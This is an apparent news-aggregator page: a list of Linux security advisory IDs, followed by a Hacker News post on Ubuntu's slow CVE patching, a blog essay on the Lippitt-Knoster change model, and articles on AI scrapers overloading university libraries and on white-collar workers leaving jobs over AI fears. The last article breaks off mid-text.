Fedora FEDORA-2026-ab4ba75e47 F44 rust-zstd 2026-11-06
Fedora FEDORA-2026-852d99c4f2 F45 rust-zstd 2026-11-06
Fedora FEDORA-2026-965f6f4669 F43 rust-zstd-safe 2026-11-06
Fedora FEDORA-2026-ab4ba75e47 F44 rust-zstd-safe 2026-11-06
Fedora FEDORA-2026-852d99c4f2 F45 rust-zstd-safe 2026-11-06
Fedora FEDORA-2026-965f6f4669 F43 rust-zstd-safe7 2026-11-06
Fedora FEDORA-2026-ab4ba75e47 F44 rust-zstd-safe7 2026-11-06
Fedora FEDORA-2026-852d99c4f2 F45 rust-zstd-safe7 2026-11-06
Fedora FEDORA-2026-965f6f4669 F43 rust-zstd-sys 2026-11-06
Fedora FEDORA-2026-ab4ba75e47 F44 rust-zstd-sys 2026-11-06
Fedora FEDORA-2026-852d99c4f2 F45 rust-zstd-sys 2026-11-06
Fedora FEDORA-2026-965f6f4669 F43 rust-zstd0.13 2026-11-06
Fedora FEDORA-2026-ab4ba75e47 F44 rust-zstd0.13 2026-11-06
Fedora FEDORA-2026-852d99c4f2 F45 rust-zstd0.13 2026-11-06
Fedora FEDORA-2026-f7bd6aa596 F43 scribus 2026-11-06
Fedora FEDORA-2026-d407c720c8 F44 scribus 2026-11-06
Fedora FEDORA-2026-3b906c3607 F45 sofia-sip 2026-11-06
Fedora FEDORA-2026-0451d4f86a F43 tailscale 2026-11-06
Fedora FEDORA-2026-c8bfae6071 F44 tailscale 2026-11-06
Fedora FEDORA-2026-068cc0ad52 F45 tailscale 2026-11-06
Fedora FEDORA-2026-d62d139e4b F43 tor 2026-11-06
Fedora FEDORA-2026-5db6838405 F44 tor 2026-11-06
Fedora FEDORA-2026-2e080d83b2 F45 tor 2026-11-06
Fedora FEDORA-2026-c32ba8cfb4 F45 wordpress 2026-11-06
Oracle ELSA-2026-95570 OL10 cockpit-files 2026-11-06
Oracle ELSA-2026-95519 OL10 delve 2026-11-06
Oracle ELSA-2026-95518 OL9 delve 2026-11-06
Oracle ELSA-2026-65442-0 OL7 firefox 2026-11-06
Oracle ELSA-2026-95482 OL8 gimp:2.8 2026-11-06
Oracle ELSA-2026-95367 OL10 kernel 2026-11-06
Oracle ELSA-2026-95370 OL9 kernel 2026-11-06
Oracle ELSA-2026-69293 OL9 osbuild-composer 2026-11-06
Red Hat RHSA-2026:95519-01 EL10.2 delve 2026-11-06
Red Hat RHSA-2026:95518-01 EL9.8 delve 2026-11-06
Red Hat RHSA-2026:90757-01 EL10.0 git-lfs 2026-11-06
Red Hat RHSA-2026:95234-01 EL8.4 git-lfs 2026-11-06
Red Hat RHSA-2026:89926-01 EL8.6 git-lfs 2026-11-06
Red Hat RHSA-2026:89925-01 EL8.8 git-lfs 2026-11-06
Red Hat RHSA-2026:89922-01 EL9.2 git-lfs 2026-11-06
Red Hat RHSA-2026:89921-01 EL9.4 git-lfs 2026-11-06
Red Hat RHSA-2026:89920-01 EL9.6 git-lfs 2026-11-06
Red Hat RHSA-2026:95638-01 EL8 go-toolset:rhel8 2026-11-06
Red Hat RHSA-2026:89744-01 EL9 grafana 2026-11-06
Red Hat RHSA-2026:90513-01 EL10.0 ignition 2026-11-06
Red Hat RHSA-2026:91720-01 EL10.2 ignition 2026-11-06
Red Hat RHSA-2026:90519-01 EL9.2 ignition 2026-11-06
Red Hat RHSA-2026:90518-01 EL9.4 ignition 2026-11-06
Red Hat RHSA-2026:90514-01 EL9.6 ignition 2026-11-06
Red Hat RHSA-2026:91719-01 EL9.8 ignition 2026-11-06
Red Hat RHSA-2026:95016-01 EL10.0 opentelemetry-collector 2026-11-06
Red Hat RHSA-2026:95015-01 EL9.4 opentelemetry-collector 2026-11-06
Red Hat RHSA-2026:95014-01 EL9.6 opentelemetry-collector 2026-11-06
Red Hat RHSA-2026:90493-01 EL8.6 osbuild-composer 2026-11-06
Red Hat RHSA-2026:90363-01 EL8.8 osbuild-composer 2026-11-06
Red Hat RHSA-2026:93077-01 EL8 python-pillow 2026-11-06
Red Hat RHSA-2026:91138-01 EL10 yggdrasil 2026-11-06
Red Hat RHSA-2026:91572-01 EL10.0 yggdrasil 2026-11-06
Slackware SSA:2026-309-01 openssh 2026-11-05
SUSE SUSE-SU-2026:5118-1 SLE5.0 SLE5.1 SLE5.2 SLE5.3 SLE5.4 SLE5.5 SLE-m5.0 SLE-m5.1 SLE-m5.2 SLE-m5.3 SLE-m5.4 SLE-m5.5 bind 2026-11-05
SUSE SUSE-SU-2026:24556-1 SLE-m6.1 brotli 2026-11-06
SUSE SUSE-SU-2026:5123-1 SLE15 oS15.6 cpupower 2026-11-06
SUSE SUSE-SU-2026:24554-1 SLE-m6.1 expat 2026-11-06
SUSE SUSE-SU-2026:5124-1 SLE15 SLE5.3 SLE5.4 SLE5.5 SLE-m5.3 SLE-m5.4 SLE-m5.5 SES7.1 fuse-overlayfs 2026-11-06
SUSE openSUSE-SU-2026:12212-1 TW go1.26 2026-11-05
SUSE SUSE-SU-2026:24555-1 SLE-m6 SLE-m6.1 google-guest-agent 2026-11-06
SUSE SUSE-SU-2026:5119-1 SLE15 SLE5.5 SLE-m5.5 helm 2026-11-05
SUSE openSUSE-SU-2026:12213-1 TW ibus-typing-booster 2026-11-05
SUSE SUSE-SU-2026:5121-1 SLE12 kernel 2026-11-05
SUSE SUSE-SU-2026:24549-1 SLE6.0 SLE-m6.0 kernel 2026-11-05
SUSE SUSE-SU-2026:24550-1 SLE6.0 SLE-m6.0 kernel 2026-11-05
SUSE SUSE-SU-2026:24553-1 SLE6.0 SLE-m6.0 SLE-m6.1 kernel 2026-11-06
SUSE openSUSE-SU-2026:12214-1 TW kyverno 2026-11-05
SUSE SUSE-SU-2026:24552-1 SLE-m6.1 libX11 2026-11-06
SUSE openSUSE-SU-2026:12215-1 TW libmodplug-devel 2026-11-05
SUSE SUSE-SU-2026:24557-1 SLE-m6.1 librsvg 2026-11-06
SUSE SUSE-SU-2026:24558-1 SLE-m6.1 nvidia-open-driver-G06-signed 2026-11-06
SUSE openSUSE-SU-2026:12216-1 TW owntone 2026-11-05
SUSE SUSE-SU-2026:5117-1 SLE15 SLE5.3 SLE5.4 SLE5.5 SLE-m5.3 SLE-m5.4 SLE-m5.5 oS15.3 parted 2026-11-05
SUSE openSUSE-SU-2026:12217-1 TW perl-Cpanel-JSON-XS 2026-11-05
SUSE SUSE-SU-2026:5120-1 SLE15 perl-Text-CSV_XS 2026-11-05
SUSE openSUSE-SU-2026:12218-1 TW perl-Text-CSV_XS 2026-11-05
SUSE openSUSE-SU-2026:12219-1 TW php8 2026-11-05
SUSE SUSE-SU-2026:5125-1 SLE15 oS15.4 python-Brotli 2026-11-06
SUSE openSUSE-SU-2026:12220-1 TW regclient 2026-11-05
SUSE openSUSE-SU-2026:12221-1 TW roundcubemail 2026-11-05
SUSE SUSE-SU-2026:5122-1 SLE15 oS15.4 rsyslog 2026-11-05
SUSE SUSE-SU-2026:5116-1 SLE15 tomcat 2026-11-05
Ubuntu USN-9001-1 22.04 24.04 26.04 26.10 ca-certificates 2026-11-05
Ubuntu USN-7230-3 20.04 22.04 24.04 frr 2026-11-05
Ubuntu USN-8972-2 22.04 haproxy 2026-11-05
Ubuntu USN-9003-1 24.04 26.04 linux-nvidia-7.0, linux-nvidia-bos 2026-11-06
Ubuntu USN-9002-1 24.04 linux-nvidia-tegra 2026-11-06
Ubuntu USN-8955-2 14.04 16.04 18.04 20.04 nginx 2026-11-05

Ask HN: What in the world is taking Ubuntu so long?

Hacker News
news.ycombinator.com
2026-11-06 09:58:33
Comments...
Original Article

Ubuntu has CVE-2026-98432 marked as a 9.8, but yet it's coming up on a week with no update to fix it. It's still marked as "work in progress" (though at least now they've listed a mitigation):

https://ubuntu.com/security/CVE-2026-98432

I've had mitigations in place for a week, but this response is really shaking my confidence in Ubuntu. I'm just trying to understand what is going on with Ubuntu. Do they have too many kernels (that page is loooong), do they not have enough automation in the build/test pipeline, are their engineers overwhelmed?

We are moving into a world where there are going to be vastly more security issues; if you can't keep up now, where are you going to be in the next 6 months?

For a long time keeping on top of OS updates has been a huge part of keeping the attackers at bay. However, the world is changing.

Lippitt-Knoster in Practice (Field Notes for Managing Complex Projects)

Hacker News
sharedphysics.com
2026-11-06 09:57:16
Comments...
Original Article

"Lippitt-Knoster" is one of those things where if you've worked with me during the last 10 years, you've likely heard me mention it. You might even be reading this because I needed somewhere to point you. In which case, Hi! 👋

The Lippitt-Knoster Model for Managing Complex Change was originally written to describe a way of navigating large organizational shifts, but I’ve found that it’s also useful as a diagnosis tool for any kind of large and long-running project. After all, every project is a "change" in a microcosm. You might not have a complex organizational change to manage every day, but everyone is involved in long-running projects of some size and shape in a company. So that’s what I use it for, and it is useful indeed.

The beauty of the model is that you don’t need an MBA or a special issue of the Harvard Business Review to explain it. It says that any complex project requires six components to succeed, and if one or another is missing, you’ll have some specific and corresponding failure.

It can be summed up in a simple chart but also rewards you with some deeper insights as you apply it:

  • Vision is the purpose and endpoint of a project. Vision tells you where you’re going and why. If the vision is missing, there will be confusion about what is being done and why work is happening.
  • Consensus is a team's agreement and alignment around the vision. If a team lacks consensus, people will not want to do the thing and they will sabotage you.
  • Incentives are the motivation or reasons for why people support the work and prioritize it appropriately. If not everyone is incentivized properly, there will be resistance . Resistance is the passive sibling of sabotage.
  • The Action Plan is the practical set of steps to get from vision to finish. If you lack an action plan, your team will experience a routine set of false starts and treadmills , which is another way of saying that it will look like work is happening but nothing actually moves forward. You won’t make progress.
  • Resources are the organizational capacity (people, budget, time) needed to accomplish the work. Lacking resources is a close cousin to lacking skills; it leads to frustration in trying to do something you know you're capable of, but with an unrealistic set of operating constraints.
  • Skills are the ability to do the work necessary to complete the project. If a team lacks the necessary skills, you'll have a lot of questions around if this work is possible, leading to anxiety .

Vision, consensus, and incentives are all Strategic Concerns . They involve abstract political work: ideas, relationships, people, and an understanding of the business. The action plan, skills, and resources are all Tactical Concerns . They are focused on the practical details of “how” something gets done. 1


One mistake I often see people make is to focus primarily on one concern or the other. For example, a product manager or corporate strategist might spend too much time focused on the strategic side of things without understanding if the team or company is able to execute. Consequently, their ability to build consensus will be negatively impacted by not knowing what is possible or probable. Line managers and software engineers typically make the opposite mistake. They focus too much on the ‘how’ instead of the ‘why’. They’ll prove that something is possible and how it can be done, without realizing that sometimes the team or business doesn't want to do the thing they’re proposing. Neither myopia ends in a successful project.

The order of the model components matters – they flow into each other – but can be managed in either direction. For example: you might start with a vision, build consensus, arrange the right incentives for everyone to act, create a plan, provide adequate resources and timeline to accomplish that plan, and make sure it is staffed with people who have the skills to execute on it. Easy peasy!

You could also navigate the components the other way, working through a series of questions: is something possible? Do skills exist to accomplish the thing? Do those skills (people) have excess capacity that can be allocated to this idea? Can it be done without budget? Can that group of people be small enough that they organically develop their own plans? And if so, are they incentivized to take on this kind of work outside their daily responsibilities? Does it need sign-off from anyone? If you’ve found confirmatory answers along the way, congratulations: you can carve out a secret R&D initiative within your team or your company. (This is also ' effectuation ' in practice.)

You can also read the model from the perspectives of both cause and effect. Reading it one way creates a checklist before kicking off any major work: “Here are the six prerequisites for success, are we all set?” (A causal, prescriptive reading – given starting parameters, what will be the end result?) Reading it backwards turns it into a troubleshooting tool. For example, if someone comes to you mid-project complaining that "We keep going in circles and the team is anxious! What can I do?" you might look at the model and respond, "Well of course! You don't have an action plan. Or maybe, it hasn't been adequately distributed and communicated and people feel that they lack the skills to accomplish something so big. Let's break it down into manageable pieces that we do have the skills for." It’s pretty quick to go between looking at the failure states and looking at the necessary components to diagnose what’s going on with a project. (A diagnostic reading, reasoning backwards.)


The model is a fantastic tool for making sense of things. But that leaves the hard work to start after you've made sense of things. How do you drive consensus? How do you align folks around a vision? How do you build up skills, or break down big projects into smaller pieces for which skills exist? How do you win resources, or align incentives?

Some of those answers are obvious, but most are not. Many of the answers are best understood as the manifestation of tacit expertise — a ‘feeling’ for the right move in any particular context, a form of expertise that comes from having been around the block a few times.

And like with most tacit expertise, you’ll find that there are no one-size-fits-all answers to any scenario, but there are plenty of good practices and useful observations.

So here are some of mine:


Strategic Concerns

The most common and important questions that come up after someone lays out a vision are “ Why should we do this? ” and permutations around the follow-up details. If you see those questions, that’s “confusion”, which is another way of saying you’ve presented a fantasy instead of a vision (or perhaps, the vision is missing entirely). That’s because many people confuse vision for having a colorful and inspiring imagination, making their picture too colorful, unrealistically grand, or too far off. 2

My experience is that you make more progress by simply providing adequate context and letting people derive their own vision. The art of context is giving people breadcrumbs to get from where you are today to where you want to be in the future, and giving them some good reasons to follow those breadcrumbs with you. There’s nothing more effective than a self-motivated team that thinks they’re the ones who came up with the idea, that they saw what things could be like. That’s vision.

Similarly, consensus is a straightforward concept, but strangely elusive in most organizations. Any organization beyond a certain age and size will typically have a 'minimally viable consensus' while practically being at odds with itself. Departments often turn into silos with their own internal logic for what should happen. Job security encourages teams to think about what’s best for them instead of for the company. And companies don’t do a great job tying “what’s best for the company” with “what’s best for the individuals within, or the communities around”, 3 which makes most employment mercenary: people naturally find a balance between what they’re paid and how much to care about the thing in question. (In that sense, incorporated businesses are kind of like democracy: a bad choice, but among the best of the options available for coordinating large groups of people to accomplish things.)

Recognizing that, one amateur mistake people make is trying to build consensus in a group setting. It just doesn't happen that way. You’re either going to have everyone nodding along and afraid to say their piece in front of everyone else, or you’re going to have one guy (and it’s usually a guy – sorry, my dudes) start pulling some “what about”-ism and dragging the conversation into a black hole of details that you never intended to argue about but find yourself frustratingly debating anyway.

In either scenario, the meeting will end without consensus.

In Japanese business culture there is a concept called “nemawashi”, which translates roughly to “tending to the roots” or “laying the groundwork”. It’s a good analogy because the practice of creating consensus requires a lot of political skill, footwork, trust-building, and private conversation. It means giving people space to tell you everything that’s wrong with your idea, finding ways to address those concerns, and making sure everyone is aligned before the alignment actually happens. The group meeting when everyone signs off in agreement should be the result of careful stage management — you should know and have already addressed everyone’s concerns, including second-order effects of how addressing one person’s issues will impact others.

There should be no surprises; it is theater, not improv.

That said, you might not be able to get to consensus. Perhaps your boss wants the “thing” to happen but there’s another department that’s actively against it. Maybe you're encroaching on their turf, or it will reduce their capacity in some zero-sum resource bucket. Maybe they just have a different perspective on the world and the approaches the business should take. Maybe you've wandered into a long-running feud and this project is just one of many different battles being waged. Who knows, people can be both petty and complicated!

If you can't get their buy-in, they will sabotage it in all sorts of creative ways. Because sabotage and resistance are close cousins and are political (in the sense of not being open conflict), monographs on activism and subterfuge can be read as useful primers. Consider James C. Scott's Weapons of the Weak and the OSS's Simple Sabotage Field Manual for what kinds of foot dragging, malicious compliance, noncompliance, evasion, sowing confusion, slander, useless meetings, arbitrary hurdles, revisiting decisions, and moving goalposts to expect.

My advice for these scenarios is to try one of two things. Your first option is to get to the bottom of why there is no consensus and figure out if you’re in a position to address that root cause. Often, you’re not in a position to address those things; if you pursue resolution, you’re going to use up a lot of your political capital or burn out trying to get the project moving forward. And success can be fleeting – projects can continue to be sabotaged even after launch. I once had a project launch only to have all of its resources immediately pulled, forcing its premature death.

Not even chief executives are immune to this; sometimes the solution to a lack of consensus and active sabotage is to simply fire the people in disagreement. (Obviously, use this technique sparingly — you’re scorching the earth.)

So I recommend most people take the second approach, which is to just drop it. Move on. It’s a lost cause. Don’t be the sailor with a bucket trying to dump water off this Titanic. Quitting things and dropping things is a totally acceptable thing to do; life isn’t a video game where you’re striving for 100% completeness on every side quest. Move on to things where you’re actually making a difference.

But let’s say everyone agrees. Now you need to make sure that things are prioritized appropriately. You’re not going to make any progress if this is low on everyone’s priority list. So you incentivize teams and people.

Positive incentives typically work better than negative incentives, but most people are not in a position to offer meaningful (financial) incentives to push a project forward. Instead, you can rely on horse-trading (“if you help me move this project forward, I’ll help with your thing”), you can help people resolve their problems, and you can paint a compelling-enough end-state that people also want to reach that goal with you.

Otherwise, people are going to be resistant, which is a passive form of sabotage: sabotage without commitment, or general apathy. It might not even be malicious. It’s just… well, you’re just one more project for people to care about and work on. Why should they do it above all else?

And more importantly, resistance can turn into sabotage when incentives are not just missing, but misaligned. Misaligned incentives can break consensus when you're sweating the details.


Tactical Concerns

Now, let’s say you figured out the strategic bits and you’re working through the implementation portion. Some projects are simple enough that you can just describe what needs to be done, and you can count those requirements on a single maimed hand. We’re not talking about those projects.

Any complex-enough project requires coordination of requirements, dependencies, timelines, people, and other details. I’ve written a bit about those issues in “ When Everything is Important But Nothing Is Getting Done ”, so I don’t want to retread too much ground.

But one thing worth highlighting is how skills and anxiety are coupled, and how to navigate a lack of skills. Any ambitious project is at some point going to run into a lack of skills or prior experience because the work wouldn't be ambitious if you'd done it before. So in many regards, it is an existential question for any project: are you and your team able to do what needs to be done? If not, you’ll get a very stressed team, or you’ll get a simulacrum of what you expected.

There are ways to compensate for a lack of skills. I rely on three techniques:

First is up-skilling people. Education, mentorship, and training are effective ways to turn juniors into seniors, low-skilled employees into high-skilled employees. While there are a variety of documented techniques for this (see: accelerated expertise , tactical decision games ), the caveats are that (a) this typically takes longer than the time-span of a single project and (b) you need to find people who are interested in learning.

So the second technique is atomization: break the requirements into smaller pieces that meet the level of skill available rather than trying to get people to rise to the required level. Instead of making everyone work harder, just make the requirements easier. Instead of asking people to “cut database reads by 50%” or “create a capacity forecasting model for the next 12 months” (where they may not even know where to start), give them smaller tasks and directions for what to do to accomplish that. Point folks in the right direction, explain the what and the why, turn big asks into a series of steps, a recipe to accomplish something. This is in itself a form of teaching, and it is more project-sized (see what I did there?).

The third technique is to roll up your sleeves and contribute. I’ve learned from many effective leaders that there is no work below your pay grade. What makes many great leaders "great" is their willingness to spend extra time doing “glue” work , filling in the holes between roles, and making sure all assumptions are bridged back to real expectations. They are never too good to personally write up a project document, to manage a tracker, to make sure that people are talking to each other. They often know as much or more about the details than subject matter experts, but they don't needlessly meddle – they support where needed and use gaps as up-skilling opportunities.

Much of the work of compensating for skills gaps is directly translatable into managing budget, time, and effort tradeoffs to navigate the “resources” component of Lippitt-Knoster. And your ability to solve for skills and resources directly translates back into the specific action plan you need to put together. For example: you may decide not to spend $100,000 on a vendor because you can reverse engineer a single feature you need for a project, but you need to add time to the plan for that.

These considerations become a calculus of risks, rewards, and effort , which in turn underpins the strategic portions that we talked about earlier: sure, you might think you can lead a team to rebuild the hot new vendor in house in two months, but have you earned organizational political capital to place those chips on the table?


So there you have it, Lippitt-Knoster in practice. Lead on!


1 - This grouping is not present in most Lippitt-Knoster model descriptions I’ve come across; it is my one humble contribution.

2 - A realistic vision that is too far into the future is its own type of risk – every day presents new opportunities for conditions to change, starting conditions to be led astray. The likelihood of any far-off future has too many compounding variables... too many things have to go right and be true for it to be reliable enough to pin your hopes to.

3 - These things are usually at odds with each other. There's a big literature about how "equity" is a tool to get employees to care about corporate success, but most startup equity goes to zero; for the average employee, a bonus or a pay raise is more useful. Public company equity presents a different issue: it is dependent on public market behavior, and less on your individual ability to impact it – being in a public company, you're likely one of thousands-plus of employees.

Thanks for reading

Useful? Interesting? Have something to add? Shoot me a note at roman@sharedphysics.com . I love getting email and chatting with readers.

You can also sign up for irregular emails and RSS updates when I post something new.


Who am I?

I'm Roman Kudryashov -- I help healthcare companies solve challenging problems through software development and process design. My longer background is here and I keep track of some of my side projects here .

Stay true,
Roman

University libraries are being swarmed by AI bots, putting public access at risk

Hacker News
www.cbc.ca
2026-11-06 09:13:09
Comments...
Original Article

World

Academic libraries are fighting off swarms of data-scraping bots — that are slowing or crashing sites meant for students, researchers and the public — as AI companies continue hunting for content to feed their large language models.

One school says it was overwhelmed by more than 11,000 searches on Finnish music in just one day

Text to Speech Icon

Listen to this article

Estimated 6 minutes

The audio version of this article is generated by AI-based technology. Mispronunciations can occur. We are working with our partners to continually review and improve the results.

Five young women work on laptops in a large room, with textbooks and other documents piled nearby.
Students work on laptops in the Pedagogical Library at the Free University of Berlin on Sept. 20, 2011. The online resources of academic libraries around the world are increasingly being disrupted by AI bots hunting for content. (Sean Gallup/Getty Images)

Academic libraries are fighting off swarms of data-scraping bots — that are slowing or crashing sites meant for students, researchers and the public — as AI companies continue hunting for content to feed their large language models.

University libraries say entire collections are being knocked offline by persistent streams of unruly bots trying to access their archives, which include academic, historical and government documents.

"They're just out there on the internet, just bombarding us with trying to grab up as much material as possible," Jill Strykowski, cataloguing and government documents lead at San Jose State University, told CBC News.

The bots are used by both AI and third-party companies to scour websites and retrieve data, often to feed LLMs like Claude, Gemini and ChatGPT.

Libraries, museums and other cultural heritage institutions are prime targets because they have quality, vetted information that is generally not hidden behind paywalls or logins.

The bots are "causing an incredible amount of work and headache for every institution that does digitization work and every institution that is trying to make information openly available," Strykowski says.

Researchers found such reports started appearing in late 2024 across North America, Europe and Oceania and experts tell CBC News the problem continues to get worse.

LISTEN | Even smarter, with even fewer guardrails:

The Sunday Magazine 23:41 Inside the global race toward an AI that might kill us all


And new challenges keep arising, says Dean Seeman, director of collections and digital infrastructure at University of Victoria Libraries.

"Sometimes the bot traffic gets so bad that it causes the sites to go down completely for a little while," he said.

Seeman says this creates a "real problem" for public access.

Regular people using library websites are now, effectively, in competition with infinite traffic from bot farms, says Peter Lewis, Canada Research Chair in Trustworthy Artificial Intelligence at Ontario Tech University.

"This is another instance of large, private companies making use of common-good public interest institutions in a way that's very extractive and just assumes that that stuff is available and is free — and then using it to be able to produce highly commercial models that then they can go and sell back to people," he said.

Two people, seen from above, work side by side on laptops. There are papers strewn nearby.

Workers enter data from an old document belonging to the McMillan Memorial Library during a digitization exercise at the Eastland Library in Nairobi on March 24, 2022. Libraries and other cultural heritage institutions are prime targets for AI bots. (Patrick Meinhardt/AFP/Getty Images)

Good bots and bad bots

Eric Hellman, executive director of Project Gutenberg — a U.S.-based volunteer organization that digitizes and archives cultural works and distributes eBooks — wrote in a blog last year that these bots, which he characterizes as poorly programmed "monstrosities," are "destroying open access" on the internet.

He tells CBC News that "everything's gotten worse" since he wrote that.

Hellman says the problem comes down to good bots and bad bots.

He explains that search engines like Google, and archiving sites like Internet Archive, use bots that follow robots.txt — voluntary sets of instructions on websites that tell them what they can and can't do, so they don't disrupt the site's functioning while gathering information.

AI scraping bots, on the other hand, sometimes ignore these rules and overwhelm websites — in some cases requesting thousands of documents a second and downloading them in every available format.

WATCH | Young AI researchers in Ontario:

This is what young people studying artificial intelligence are thinking — as the future of AI grabs headlines

Developments in AI, and companies and developers warning about the future of the technology, are grabbing headlines again. But there are young people in Windsor studying the technology. The CBC's Jacob Barker caught up with them to hear their perspective.

As an example, the University of North Carolina at Chapel Hill reported last year that it received more than 11,000 searches for Finnish music from thousands of different internet addresses on the same day. The university said its library catalogue was periodically shutting out students, faculty and staff due to bot traffic.

And because one company or bot farm can work from thousands of IP addresses, Hellman says the old fix of blocking problematic IPs is no longer useful.

A man poses in front of a colourful wall.

Michael Weinberg, co-director of GLAM-E, a collaborative effort focused on open-access policies for cultural institutions, is working to protect public access to information. (Submitted by Michael Weinberg)

He says Project Gutenberg is happy for its materials to be used as AI training data and even offers a one-click download of its entire library of books, "but the bots are too stupid to use it."

"Our material is almost all public domain material. It's exactly the sort of material that they should be training on," he said. "We just wish they would do it in a respectful way that doesn't take down websites."

Open access a 'huge benefit'

Some libraries have set up CAPTCHA challenges or other verification systems to weed out bots.

The problem is, those measures can also weed out the good bots, says Michael Weinberg, co-director of GLAM-E, a collaborative academic initiative at NYU Law School and the University of Warwick focused on open-access policies for cultural institutions.

Some libraries have also begun to require login credentials, a controversial move that those who spoke to CBC News say they want to avoid because it puts barriers on human access to things they believe should be easily accessible.

And as the scraping bots get more advanced, experts say they could also learn to work around these strategies.

A man is seen, backlit, against a large sign reading 'Anthropic'

The Anthropic logo is displayed at during the Dreamforce technology summit in San Francisco, on Sept. 17. AI firms have broadly argued that scraping publicly available data is permissible under fair use and in the public's best interest. (Carlos Barria/Reuters)

Major AI firms have argued that scraping publicly available data to train their models is permissible under fair use and in the public's best interest.

But faced with widespread criticism and copyright lawsuits, Anthropic, OpenAI , Google and Microsoft expressed support last week for honouring a single, standardized opt-out signal in a website's robots.txt file that could block their web crawlers from harvesting data.

Compliance would be voluntary, however, and the agreement leaves out problematic bots from third-party companies and smaller AI startups.

Weinberg says the digitization of valuable information has been a "fantastic" development for humanity — giving researchers, teachers and curious citizens easy access to resources that, 20 years ago, "would have required driving for flying or a special permission to get access."

Organizations like GLAM-E are trying to figure out long-term solutions to preserve that access for humans and helpful bots alike.

Right now, the bots create "a disincentive for libraries and other institutions to make parts of their collection available online," Weinberg said. "I think it's been a huge benefit to society that libraries and museums and other cultural institutions have put a huge amount of work into making their collections available."

Several people sit at long tables, reading books and laptops, in an enormous high-ceilinged library.

People look at their laptops and in the main reading room of the New York Public Library on Oct. 5, 2016, in New York City. Increased bot traffic means regular people using library websites are effectively competing with infinite traffic from bot farms, says one expert. (Dominick Reuter/AFP/Getty Images)

ABOUT THE AUTHOR

Kevin Maimann is a senior writer for CBC News based in Edmonton. He has covered a wide range of topics for publications including VICE, the Toronto Star, Xtra Magazine and the Edmonton Journal. You can reach Kevin by email at kevin.maimann@cbc.ca.

Fearing AI disruption, white-collar workers are quitting their jobs

Guardian
www.theguardian.com
2026-11-06 09:00:45
While there’s no evidence linking AI to mass layoffs, the tech has already ‘changed worker psychology’ When artificial intelligence researcher Mrinank Sharma quit his job at Anthropic earlier this year, the news rippled across the internet. In his resignation letter, posted on X and viewed 15.3m tim...
Original Article

W hen artificial intelligence researcher Mrinank Sharma quit his job at Anthropic earlier this year, the news rippled across the internet. In his resignation letter, posted on X and viewed 15.3m times, Sharma warned of a world “in peril” from the technology he had helped build.

“It is clear to me the time has come to move on,” he wrote. His next move: a poetry degree.

In the months following Sharma’s resignation, AI industry defectors and workers outside of Silicon Valley alike have echoed his sentiments.

Bracing for disruption forecasted by the AI industry, white-collar professionals are voluntarily leaving established careers to pursue professions they feel are more secure or more aligned with their values. Workers across industries – from tech to public relations to consulting – say AI changed the substance and stability of their jobs overnight. They worry about AI jeopardizing their cognitive abilities, contributing to climate change, undermining value to customers and compromising security. Some, like Sharma, have left their fields entirely, shifting to vastly different careers.

So far, economic data shows that AI has not wreaked havoc on the workforce. It’s created about 1m US jobs, compared with 200,000 layoffs attributed to AI, according to the Economist . But as AI executives continue to warn of disruption, 71% of Americans believe the technology will lead to fewer jobs over the next 20 years, according to the Pew Research Center . As workers fear for the future, though, they’re making major decisions about the present.

The shift on the ground

Some white-collar workers have begun to look beyond the dreams they were sold as AI reshapes jobs.

After spending nearly a decade in public relations, 30-year-old Vanessa Hsia decided to seek a master’s degree in comparative literature.

“I felt very burnt out and concerned with the direction of the industry: chasing quantity over quality, relying on AI rather than critical thinking, prioritizing short-term wins over long-term strategy,” Hsia posted on LinkedIn . “I have no idea where this path will lead, but I’m taking my own advice: the world is on fire, might as well do what you want.”

Hsia and her former colleagues in PR feared AI would eventually replace them, she said, noting that specific tasks like pitching reporters over email were already being automated.

“I’ve been sold this dream that if I work really hard in my career, I’ll climb the ladder, that I will be respected in my field and paid a fair wage,” she said. “But then you have this technology that exacerbates the fact that, actually, no, that’s not guaranteed.”

The safe, tidy way of life defined by a bachelor’s degree, desk job and career ladder is in its death throes, accelerated by the encroaching tidal wave of AI, Hsia contends. It’s an opinion echoed by other white-collar workers.

“The career that I’ve had for 10 years is kind of fundamentally gone,” said a software engineer at a big tech company, who requested anonymity for fear of retribution. The engineer and his peers believe their roles will soon cease to exist as AI automates coding. “We all thought we would be software engineers for another decade or two,” he said, adding that he’s considering leaving the industry. “Now it’s completely changed.”

For some workers, AI has accelerated feelings of instability and purposelessness they already had in their careers. Hanna Horvath spent most of her twenties as a content marketer and editor. But earlier this year, the 29-year-old left her editing job at personal finance platform Bankrate to freelance in copy writing and social media marketing, serve as a financial planner and publish a Substack newsletter.

Even before the introduction of AI, Horvath felt like her day-to-day work had drifted away from what she was hired to do, becoming “meaningless”. And after witnessing multiple layoffs at her company, she no longer felt assured by the promised stability of a nine-to-five job.

Once her company mandated AI use, Horvath felt even worse. “AI doesn’t have to replace your job to fundamentally change your relationship to your job,” she said. “So many of us were just becoming project managers instead of actually editing content or writing content.”

On LinkedIn , Horvath wrote that though the larger conversation about AI has been about job displacement, the tech “has already changed worker psychology”, referring to people’s fears and loss of purpose. Now, with varied streams of income, Horvath said she feels more financially secure and less vulnerable to AI replacement.

Some white-collar workers are effecting complete professional 180s: from tech to law enforcement and advertising to acting.

Chris, who asked to go by a pseudonym for fear of retribution, left his software engineering job to join the police department of a major east coast city last year. AI had taken “a lot of the thinking” and fun out of coding, and he feared being displaced, he said.

“There’s no job security in corporate anymore,” said Chris, who spent more than a decade doing white-collar work. “You’re expendable, you’re an asset.”

Chris counts himself lucky to have left software engineering as his employer started to push AI on his team. Now, as a police officer, “there’s a satisfaction I never got in engineering … In a lot of ways I am happier,” he said, referring to working directly with his community.

Similarly, Kara, who asked to go by a pseudonym to speak candidly about her former career, said leaving her job as an advertising producer to focus on acting while moonlighting as a barista made her “feel spiritually lighter”.

Kara had experienced increasing burnout, much of which she attributes to being instructed to use AI despite her concerns over legality and creative use. She said her team was encouraged to use AI-enabled production tools like Runway, which generates AI videos and images, and ElevenLabs, an AI voice generator, to supplement its creative work. As the producer, she was charged with handling legal clearance at a time when AI-generated video and audio based on a human’s likeness is still a gray area.

Her employer “compelled” the team to incorporate generative AI, then “in the same conversation, warned about the legal dangers”, she said. The result was constant stress.

Kara also worries about AI generating art after training on the work of human artists. Between her creative opposition and the stress of overseeing AI’s legal use, the job “became untenable”, she said. She’s been transitioning to what she calls her “survival job” as a barista “quite happily”, she added.

Stoking job fears

For years, the architects of AI have insisted that their technology poses immense economic threats. In May 2025, Anthropic CEO Dario Amodei predicted AI would lead to the displacement of half of all entry-level white-collar jobs by the end of the decade. That carnage has yet to materialize .

This year, Amodei doubled down on his stance in an essay on his website .

